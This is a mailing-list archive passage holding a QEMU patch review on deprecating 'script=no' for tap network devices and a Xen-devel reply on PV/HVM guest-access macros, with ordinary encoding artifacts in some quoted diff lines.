 Pierrick Bouvier <pierrick.bouvier@oss.qualcomm.com>,
 Sergio Lopez <slp@redhat.com>, Zhao Liu <zhao1.liu@intel.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
 Bernhard Beschow <shentey@gmail.com>,
 Alistair Francis <Alistair.Francis@wdc.com>,
 Palmer Dabbelt <palmer@dabbelt.com>, Jason Wang <jasowangio@gmail.com>,
 Eric Blake <eblake@redhat.com>,
 "open list:Incompatible changes" <devel@lists.libvirt.org>,
 "open list:X86 Xen CPUs" <xen-devel@lists.xenproject.org>,
 "open list:e500" <qemu-ppc@nongnu.org>,
 "open list:Microchip PolarFi..." <qemu-riscv@nongnu.org>
References: <20260714154246.1242856-1-vsementsov@yandex-team.ru>
 <20260714154246.1242856-4-vsementsov@yandex-team.ru>
 <87pl0gsvec.fsf@pond.sub.org>
Content-Language: en-US
From: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
In-Reply-To: <87pl0gsvec.fsf@pond.sub.org>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784617497-74C884E9-FC02A206/0/0
X-purgate-type: clean
X-purgate-size: 14349

On 21.07.26 09:34, Markus Armbruster wrote:
> Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru> writes:
> 
>> The interface is ambiguous, as "no" is valid file name. So,
>> using "no" as a special value to disable script is deprecated.
>> Use an empty string ("script=" / "downscript=") instead.
>>
>> In a future version, "no" will be treated as a plain file name, just
>> like any other non-empty value.
>>
>> Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
>> and qemu-options.hx. Update other docs to use empty string instead of
>> "no". Add a warning.
>>
>> Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
>> ---
>>   docs/about/deprecated.rst                  | 18 ++++++++++++++
>>   docs/system/i386/microvm.rst               |  4 +--
>>   docs/system/i386/xenpvh.rst                |  2 +-
>>   docs/system/ppc/ppce500.rst                |  4 +--
>>   docs/system/riscv/microchip-icicle-kit.rst |  2 +-
>>   docs/system/riscv/sifive_u.rst             |  2 +-
>>   net/tap.c                                  | 29 ++++++++++++++--------
>>   qapi/net.json                              | 12 ++++++---
>>   qemu-options.hx                            |  7 ++++--
>>   9 files changed, 56 insertions(+), 24 deletions(-)
>>
>> diff --git a/docs/about/deprecated.rst b/docs/about/deprecated.rst
>> index 0c656a968fc..c4929317e3a 100644
>> --- a/docs/about/deprecated.rst
>> +++ b/docs/about/deprecated.rst
>> @@ -71,6 +71,15 @@ flexible enough. The monitor objects have been converted to QOM, so
>>   ``-mon mode=control`` is replaced by ``-object monitor-qmp``. The
>>   short convenience options are not deprecated, only ``-mon``.
>>   
>> +``script=no`` and ``downscript=no`` for ``-netdev tap`` (since 11.2)
>> +'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
>> +
>> +The special value ``"no"`` for the ``script`` and ``downscript``
>> +parameters of ``-netdev tap`` disables script execution.  This special
>> +treatment of ``"no"`` is deprecated.  Use an empty string (``script=``
>> +or ``downscript=``) to disable script execution instead.  In a future
>> +version, ``"no"`` will be treated as a plain file name.
>> +
>>   QEMU Machine Protocol (QMP) commands
>>   ------------------------------------
>>   
>> @@ -164,6 +173,15 @@ Use ``job-finalize`` instead.
>>   
>>   Use ``query-accelerators`` instead.
>>   
>> +``"no"`` as value of ``script``/``downscript`` for tap in ``netdev_add`` (since 11.2)
>> +'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
>> +
>> +The special value ``"no"`` for the ``script`` and ``downscript``
>> +parameters of ``netdev_add`` with ``type=tap`` disables script
>> +execution.  This special treatment of ``"no"`` is deprecated.  Use an
>> +empty string instead.  In a future version, ``"no"`` will be treated as
>> +a plain file name.
>> +
>>   Human Machine Protocol (HMP) commands
>>   -------------------------------------
>>   
>> diff --git a/docs/system/i386/microvm.rst b/docs/system/i386/microvm.rst
>> index 1675e37d3e7..077ea15751e 100644
>> --- a/docs/system/i386/microvm.rst
>> +++ b/docs/system/i386/microvm.rst
>> @@ -79,7 +79,7 @@ legacy ``ISA serial`` device as console::
>>        -serial stdio \
>>        -drive id=test,file=test.img,format=raw,if=none \
>>        -device virtio-blk-device,drive=test \
>> -     -netdev tap,id=tap0,script=no,downscript=no \
>> +     -netdev tap,id=tap0,script=,downscript= \
>>        -device virtio-net-device,netdev=tap0
>>   
>>   While the example above works, you might be interested in reducing the
>> @@ -103,7 +103,7 @@ disabled::
>>        -device virtconsole,chardev=virtiocon0 \
>>        -drive id=test,file=test.img,format=raw,if=none \
>>        -device virtio-blk-device,drive=test \
>> -     -netdev tap,id=tap0,script=no,downscript=no \
>> +     -netdev tap,id=tap0,script=,downscript= \
>>        -device virtio-net-device,netdev=tap0
>>   
>>   
>> diff --git a/docs/system/i386/xenpvh.rst b/docs/system/i386/xenpvh.rst
>> index 904778e3f5c..862f38830b1 100644
>> --- a/docs/system/i386/xenpvh.rst
>> +++ b/docs/system/i386/xenpvh.rst
>> @@ -42,7 +42,7 @@ case you need to construct one manually:
>>         -vnc none                                       \
>>         -display none                                   \
>>         -device virtio-net-pci,id=nic0,netdev=net0,mac=00:16:3e:5c:81:78 \
>> -      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=no,downscript=no \
>> +      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=,downscript= \
>>         -smp 4,maxcpus=4                                \
>>         -nographic                                      \
>>         -machine xenpvh,ram-low-base=0,ram-low-size=2147483648,ram-high-base=4294967296,ram-high-size=2147483648,pci-ecam-base=824633720832,pci-ecam-size=268435456,pci-mmio-base=4026531840,pci-mmio-size=33554432,pci-mmio-high-base=824902156288,pci-mmio-high-size=68719476736 \
>> diff --git a/docs/system/ppc/ppce500.rst b/docs/system/ppc/ppce500.rst
>> index c9fe0915dc5..ec5aaf14fd9 100644
>> --- a/docs/system/ppc/ppce500.rst
>> +++ b/docs/system/ppc/ppce500.rst
>> @@ -158,14 +158,14 @@ interface at PCI address 0.1.0, but we can switch that to an e1000 NIC by:
>>     $ qemu-system-ppc64 -M ppce500 -smp 4 -m 2G \
>>                         -display none -serial stdio \
>>                         -bios u-boot \
>> -                      -nic tap,ifname=tap0,script=no,downscript=no,model=e1000
>> +                      -nic tap,ifname=tap0,script=,downscript=,model=e1000
>>   
>>   The QEMU ``ppce500`` machine can also dynamically instantiate an eTSEC device
>>   if â€œ-device eTSECâ€ is given to QEMU:
>>   
>>   .. code-block:: bash
>>   
>> -  -netdev tap,ifname=tap0,script=no,downscript=no,id=net0 -device eTSEC,netdev=net0
>> +  -netdev tap,ifname=tap0,script=,downscript=,id=net0 -device eTSEC,netdev=net0
>>   
>>   Root file system on flash drive
>>   -------------------------------
>> diff --git a/docs/system/riscv/microchip-icicle-kit.rst b/docs/system/riscv/microchip-icicle-kit.rst
>> index 9809e94b84b..7fdb96601ad 100644
>> --- a/docs/system/riscv/microchip-icicle-kit.rst
>> +++ b/docs/system/riscv/microchip-icicle-kit.rst
>> @@ -84,7 +84,7 @@ Then we can boot the machine by:
>>     $ qemu-system-riscv64 -M microchip-icicle-kit -smp 5 -m 2G \
>>         -sd path/to/sdcard.img \
>>         -nic user,model=cadence_gem \
>> -      -nic tap,ifname=tap,model=cadence_gem,script=no \
>> +      -nic tap,ifname=tap,model=cadence_gem,script= \
>>         -display none -serial stdio \
>>         -kernel path/to/u-boot/build/dir/u-boot.bin \
>>         -dtb path/to/u-boot/build/dir/u-boot.dtb
>> diff --git a/docs/system/riscv/sifive_u.rst b/docs/system/riscv/sifive_u.rst
>> index 8f55ae8e313..0e4dcf3e70c 100644
>> --- a/docs/system/riscv/sifive_u.rst
>> +++ b/docs/system/riscv/sifive_u.rst
>> @@ -199,7 +199,7 @@ To boot the VxWorks kernel in QEMU with the ``sifive_u`` machine, use:
>>   
>>     $ qemu-system-riscv64 -M sifive_u -smp 5 -m 2G \
>>         -display none -serial stdio \
>> -      -nic tap,ifname=tap0,script=no,downscript=no \
>> +      -nic tap,ifname=tap0,script=,downscript= \
>>         -kernel /path/to/vxWorks \
>>         -append "gem(0,0)host:vxWorks h=192.168.200.1 e=192.168.200.2:ffffff00 u=target pw=vxTarget f=0x01"
>>   
>> diff --git a/net/tap.c b/net/tap.c
>> index fedd48c48d2..2e94b4015f6 100644
>> --- a/net/tap.c
>> +++ b/net/tap.c
>> @@ -92,34 +92,40 @@ static void launch_script(const char *setup_script, const char *ifname,
>>   static void tap_send(void *opaque);
>>   static void tap_writable(void *opaque);
>>   
>> -static bool tap_is_explicit_no_script(const char *script_arg)
>> +static bool tap_is_explicit_no_script(const char *script_arg_name,
>> +                                      const char *script_arg_value)
>>   {
>> -    if (!script_arg) {
>> +    if (!script_arg_value) {
>>           return false;
>>       }
>>   
>> -    if (script_arg[0] == '\0') {
>> +    if (script_arg_value[0] == '\0') {
>>           return true;
>>       }
>>   
>> -    if (strcmp(script_arg, "no") == 0) {
>> +    if (strcmp(script_arg_value, "no") == 0) {
>> +        warn_report("%s=no is deprecated; use %s= instead "
> 
> Maybe "'%s=no' is deprecated; use '%s=' instead ".

Ok

> 
>> +                    "(empty string instead of 'no')",
> 
> Not sure this is needed.

With you single quotes, agree, everything is clear without this note.

> 
>> +                    script_arg_name, script_arg_name);
>>           return true;
>>       }
>>   
>>       return false;
>>   }
> 
> Less churn if you name the argument @script_arg_value in PATCH 01.

Right, will move.

> 
>>   
>> -static char *tap_parse_script(const char *script_arg, const char *default_path)
>> +static char *tap_parse_script(const char *script_arg_name,
>> +                              const char *script_arg_value,
>> +                              const char *default_path)
>>   {
>> -    if (tap_is_explicit_no_script(script_arg)) {
>> +    if (tap_is_explicit_no_script(script_arg_name, script_arg_value)) {
>>           return NULL;
>>       }
>>   
>> -    if (!script_arg) {
>> +    if (!script_arg_value) {
>>           return get_relocated_path(default_path);
>>       }
>>   
>> -    return g_strdup(script_arg);
>> +    return g_strdup(script_arg_value);
>>   }
>>   
>>   static void tap_update_fd_handler(TAPState *s)
>> @@ -740,7 +746,7 @@ static bool net_init_tap_one(const NetdevTapOptions *tap, NetClientState *peer,
>>           qemu_set_info_str(&s->nc, "helper=%s", tap->helper);
>>       } else {
>>           qemu_set_info_str(&s->nc, "ifname=%s,script=%s,downscript=%s", ifname,
>> -                          script ?: "no", downscript ?: "no");
>> +                          script ?: "", downscript ?: "");
>>   
>>           if (downscript) {
>>               snprintf(s->down_script, sizeof(s->down_script), "%s", downscript);
>> @@ -946,9 +952,10 @@ int net_init_tap(const Netdev *netdev, const char *name,
>>           }
>>       } else {
>>           g_autofree char *script =
>> -            tap_parse_script(tap->script, DEFAULT_NETWORK_SCRIPT);
>> +            tap_parse_script("script", tap->script, DEFAULT_NETWORK_SCRIPT);
>>           g_autofree char *downscript =
>> -            tap_parse_script(tap->downscript, DEFAULT_NETWORK_DOWN_SCRIPT);
>> +            tap_parse_script("downscript", tap->downscript,
>> +                             DEFAULT_NETWORK_DOWN_SCRIPT);
>>   
>>           if (tap->ifname) {
>>               pstrcpy(ifname, sizeof ifname, tap->ifname);
>> diff --git a/qapi/net.json b/qapi/net.json
>> index 8f0915c4d86..ada0329ef9d 100644
>> --- a/qapi/net.json
>> +++ b/qapi/net.json
>> @@ -399,15 +399,19 @@
>>   # @fds: multiple file descriptors of already opened multiqueue capable
>>   #     tap
>>   #
>> -# @script: script to initialize the interface.  An empty string or
>> -#     "no" disables script execution.  Defaults to
>> +# @script: script to initialize the interface.  An empty string
>> +#     disables script execution.  Defaults to
>>   #     ``<sysconfdir>/qemu-ifup``, where ``<sysconfdir>`` is the
>>   #     system configuration directory at build time (typically /etc).
>> +#     Using "no" to disable script execution is deprecated (since
>> +#     11.2); use an empty string instead.
>>   #
>> -# @downscript: script to shut down the interface.  An empty string or
>> -#     "no" disables script execution.  Defaults to
>> +# @downscript: script to shut down the interface.  An empty string
>> +#     disables script execution.  Defaults to
>>   #     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the
>>   #     system configuration directory at build time (typically /etc).
>> +#     Using "no" to disable script execution is deprecated (since
>> +#     11.2); use an empty string instead.
>>   #
>>   # @br: bridge name (since 2.8)
>>   #
>> diff --git a/qemu-options.hx b/qemu-options.hx
>> index 200949655ea..7b9a14f5b38 100644
>> --- a/qemu-options.hx
>> +++ b/qemu-options.hx
>> @@ -3014,7 +3014,8 @@ DEF("netdev", HAS_ARG, QEMU_OPTION_netdev,
>>       "                use network scripts 'file' (default=" DEFAULT_NETWORK_SCRIPT ")\n"
>>       "                to configure it and 'dfile' (default=" DEFAULT_NETWORK_DOWN_SCRIPT ")\n"
>>       "                to deconfigure it\n"
>> -    "                use '[down]script=no' or '[down]script=' to disable script execution\n"
>> +    "                use '[down]script=' to disable script execution\n"
>> +    "                ('[down]script=no' is deprecated and will be treated as a file name in future)\n"
>>       "                use network helper 'helper' (default=" DEFAULT_BRIDGE_HELPER ") to\n"
>>       "                configure it\n"
>>       "                use 'fd=h' to connect to an already opened TAP interface\n"
>> @@ -3553,7 +3554,9 @@ SRST
>>       ``<sysconfdir>/qemu-ifup`` and the default network deconfigure script is
>>       ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the system
>>       configuration directory at build time (typically ``/etc``).
>> -    Use ``[down]script=no`` or ``[down]script=`` to disable script execution.
>> +    Use ``[down]script=`` to disable script execution.
>> +    Using ``[down]script=no`` is deprecated; in a future version it will
>> +    be treated as a plain file name.
>>   
>>       If running QEMU as an unprivileged user, use the network helper
>>       to configure the TAP interface and attach it to the bridge.
> 
> You mention what "no" does only in QMP documentation.
> 
> You mention what "no" will do in a future version only in CLI
> documentation.

Inconsistent, right.. Will touch up.

> 
> If information is useful enough to justify the space in one place, it's
> likely useful enough in the other place, too.
> 
> Up to you.
> 
> Reviewed-by: Markus Armbruster <armbru@redhat.com>
> 


-- 
Best regards,
Vladimir


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:18:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:18:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367480.1617221 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4jr-0005UE-RM; Tue, 21 Jul 2026 07:18:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367480.1617221; Tue, 21 Jul 2026 07:18:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4jr-0005U7-Ob; Tue, 21 Jul 2026 07:18:03 +0000
Received: by outflank-mailman (input) for mailman id 1367480;
 Tue, 21 Jul 2026 07:18:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wm4jq-0005U1-DO
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:18:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm4jp-00Bc77-B1
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:18:01 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f1d20-bab6-0a2a0a5309dd-0a2a450a96d0-42
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:18:01 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f1d28-f2d2-0a2a450a0019-d155802fa572-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:18:01 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-495437bb891so37676165e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:18:01 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63e49469sm38134762f8f.7.2026.07.21.00.17.59
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 00:17:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784618280; x=1785223080; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=kC7MsGOcZE9ciOq8ZcLifHjHtsVdqYHkmGO7ekhF7o0=;
        b=Quk0dtstxC59+tn3WQ1E3Z/ZBbhsDmBXdHx2zcGbn+5ayWN6jyoaCPU8OLJFqbYEjE
         1b0CwfSysC+TxoY1Z+bDCIw/9NQIkw5a39umF9tZBgaDNGtdkPHjCKJcIko15eC0PXHL
         FIExDJ9d0OGCXrIrVTshp4fPdFCoHyMVvl6EWx5+P1KN7gAnjMnChkF/HfUr9/q92gsJ
         C1MASZ9uryaDi/monNerE/EbCEe/kTo2soHxjRnyGH5PGN8oFf2mVC0xL4cdLmFlU1RC
         2xO948I082o6Jdj5WIhvUXr+xZohXNE6XIrsVTzPof+dAf5B8td8qCgHr+yWMqj7eCRJ
         5iMQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784618280; x=1785223080;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=kC7MsGOcZE9ciOq8ZcLifHjHtsVdqYHkmGO7ekhF7o0=;
        b=DIIlTEhJunKosnNVBSINI6ZILwYey7KohmCPUZ34voEWA53PQSPaYYoSuWj70CtvI5
         pTK+xfO2lNbJUGQzO6JvSG/ihsbZdvqVRwXtVbJObFKVhobPPiAocqFBqkfTP/SzRnp0
         6xe6OHDiKqJh5nribI9beBzwqEMaAtWJXsPUKKCggALLYUTlshIE75S/8MepSsLqVNgU
         mJnyC7upVG3hLc4DTkdsnURgNuHrEbFCcvY4xtdWaEAC45cz0YnqWS6rekDkE2MTaT+7
         /krvM+5JFyWmt6rwXrNuxym/YhV1wtwu+9I3SvY3E5hibnTeNmCzXrlrxiJJbtBKW+Ch
         169w==
X-Forwarded-Encrypted: i=1; AHgh+RqM0vAgKF/JmNEaBo9wS1roteI7jBxg5LtCZSmzYaGDdGtcGJ6EMMkVrbF2fJ76m8quNylkRZa8XIk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YynfzoN1zP6fYK9No1kllBNm4MMK6muKpJaJeYAwKAyId76otjl
	4lwQISv0H1tX3lCSfZ+RaQP37v/UcsAoQGkq9knVnOugHh4vMLGpnbMiY2U6eCvEvQ==
X-Gm-Gg: AfdE7cmMxj65zdgR2FMtwDBM49rRwDFxEpbAK1GaMcoxkPzZ2ua4VfaKvtU/HFUonMA
	2Abs7PPUUe2WRZndxJBi+OGIy0JUq1PzrYDhxEr+DzFih8Aa/OkRPCI/A37X6IWvX+l+iBgNKNm
	tHCX/wZhSQB9rxkh7UYdgiAc/hv5R6VD0l5yzEG1NXzDCWi5BizU8HAEhnveVh6dqkP4fJiUhbG
	HfDv0LXdL6sssiJrj/blfRRx/z2Lv2o4A/AkHOXrqihQHbtVputop9CdmaUnBhMhQDM5Urskye5
	n/uU6UJetSazJuiYTBor0V6/eJTV8B+UDnLDrm0E/NgOhON6ZMUEXfO+pc6/wJZlvZuzaWxsF4c
	qsjSkvVyh39N8qe34Exi7UCFng/UzHXHVShd8VoMahOySaojPsFHTmK5erHp/ARr0i3dBblPiLd
	tO7Flvka8B0diAtCsCEeex5jgO5Tu5Pg8OD2tI6KZLhKjKj42ThooZAaC/svwpv2FE4g==
X-Received: by 2002:a05:600c:1906:b0:495:3bc6:d381 with SMTP id 5b1f17b1804b1-4954affd764mr181176405e9.2.1784618280528;
        Tue, 21 Jul 2026 00:18:00 -0700 (PDT)
Message-ID: <fc46a5b8-ed98-414c-b643-7d1fac53e733@suse.com>
Date: Tue, 21 Jul 2026 09:17:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC] x86/PV: avoid HVM-copying alternatives in PV-only
 code
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <8e6f5ad5-21e4-4325-96de-e03ba65a1b8d@suse.com>
 <d1a522ac-5b28-4e9b-bc45-d9cc61245662@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7J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45-d9cc61245662@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784618281-5A3DCCFC-08588CE5/0/0
X-purgate-type: clean
X-purgate-size: 9065

On 20.07.2026 22:07, Andrew Cooper wrote:
> On 30/06/2026 2:38 pm, Jan Beulich wrote:
>> --- a/xen/arch/x86/include/asm/guest_access.h
>> +++ b/xen/arch/x86/include/asm/guest_access.h
>> @@ -14,11 +14,15 @@
>>  
>>  /* Raw access functions: no type checking. */
>>  #define raw_copy_to_guest(dst, src, len)        \
>> -    (is_hvm_vcpu(current) ?                     \
>> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
>> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
>> +       is_hvm_vcpu(current))) ?                 \
>>       copy_to_user_hvm((dst), (src), (len)) :    \
>>       copy_to_guest_pv(dst, src, len))
>>  #define raw_copy_from_guest(dst, src, len)      \
>> -    (is_hvm_vcpu(current) ?                     \
>> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
>> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
>> +       is_hvm_vcpu(current))) ?                 \
>>       copy_from_user_hvm((dst), (src), (len)) :  \
>>       copy_from_guest_pv(dst, src, len))
>>  #define raw_clear_guest(dst,  len)              \
>> @@ -26,11 +30,15 @@
>>       clear_user_hvm((dst), (len)) :             \
>>       clear_guest_pv(dst, len))
>>  #define __raw_copy_to_guest(dst, src, len)      \
>> -    (is_hvm_vcpu(current) ?                     \
>> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
>> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
>> +       is_hvm_vcpu(current))) ?                 \
>>       copy_to_user_hvm((dst), (src), (len)) :    \
>>       __copy_to_guest_pv(dst, src, len))
>>  #define __raw_copy_from_guest(dst, src, len)    \
>> -    (is_hvm_vcpu(current) ?                     \
>> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
>> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
>> +       is_hvm_vcpu(current))) ?                 \
>>       copy_from_user_hvm((dst), (src), (len)) :  \
>>       __copy_from_guest_pv(dst, src, len))
> 
> Looking back at my own attempt to do this, which was from August 2024, I
> started by cleaning up this code block as such:
> 
> --- a/xen/arch/x86/include/asm/guest_access.h
> +++ b/xen/arch/x86/include/asm/guest_access.h
> @@ -12,27 +12,33 @@
> Â #include <asm/hvm/support.h>
> Â #include <asm/hvm/guest_access.h>
> Â 
> +#define GUEST_ACCESS_HVM is_hvm_vcpu(current)
> +
> Â /* Raw access functions: no type checking. */
> Â #define raw_copy_to_guest(dst, src, len)Â  Â  Â  Â  \
> -Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> -Â  Â  Â copy_to_user_hvm((dst), (src), (len)) :Â  Â  \
> -Â  Â  Â copy_to_guest_pv(dst, src, len))
> +Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â ? copy_to_user_hvm(dst, src, len)Â  Â  Â  Â  Â  \
> +Â  Â  Â : copy_to_guest_pv(dst, src, len))
> +
> Â #define raw_copy_from_guest(dst, src, len)Â  Â  Â  \
> -Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> -Â  Â  Â copy_from_user_hvm((dst), (src), (len)) :Â  \
> -Â  Â  Â copy_from_guest_pv(dst, src, len))
> +Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â ? copy_from_user_hvm(dst, src, len)Â  Â  Â  Â  \
> +Â  Â  Â : copy_from_guest_pv(dst, src, len))
> +
> Â #define raw_clear_guest(dst,Â  len)Â  Â  Â  Â  Â  Â  Â  \
> -Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> -Â  Â  Â clear_user_hvm((dst), (len)) :Â  Â  Â  Â  Â  Â  Â \
> -Â  Â  Â clear_guest_pv(dst, len))
> +Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â ? clear_user_hvm(dst, len)Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â : clear_guest_pv(dst, len))
> +
> Â #define __raw_copy_to_guest(dst, src, len)Â  Â  Â  \
> -Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> -Â  Â  Â copy_to_user_hvm((dst), (src), (len)) :Â  Â  \
> -Â  Â  Â __copy_to_guest_pv(dst, src, len))
> +Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â ?Â  Â copy_to_user_hvm(dst, src, len)Â  Â  Â  Â  \
> +Â  Â  Â : __copy_to_guest_pv(dst, src, len))
> +
> Â #define __raw_copy_from_guest(dst, src, len)Â  Â  \
> -Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> -Â  Â  Â copy_from_user_hvm((dst), (src), (len)) :Â  \
> -Â  Â  Â __copy_from_guest_pv(dst, src, len))
> +Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â ?Â  Â copy_from_user_hvm(dst, src, len)Â  Â  Â  \
> +Â  Â  Â : __copy_from_guest_pv(dst, src, len))
> Â 
> Â /*
> Â  * Pre-validate a guest handle.
> 
> 
> 
> so they're all consistent and legible,

Sure, why not. There's one Misra concern though: In my patch I'm
specifically avoiding (naming aside)

#define GUEST_ACCESS_HVM is_hvm_vcpu(current)

in the header, as that then requires #undef elsewhere to override. Misra
wants us to avoid #undef as much as possible. In x86/mm.c this then would
also require the original form to be re-instated. (Yes, I'm not getting
away without #undef either, but it's truly removal of the definition, not
removal to then re-instate the macro with a different expansion.)

Perhaps something like

#define IS_HVM_ACCESS                    \
    (IS_ENABLED(GUEST_ACCESS_HVM) ||     \
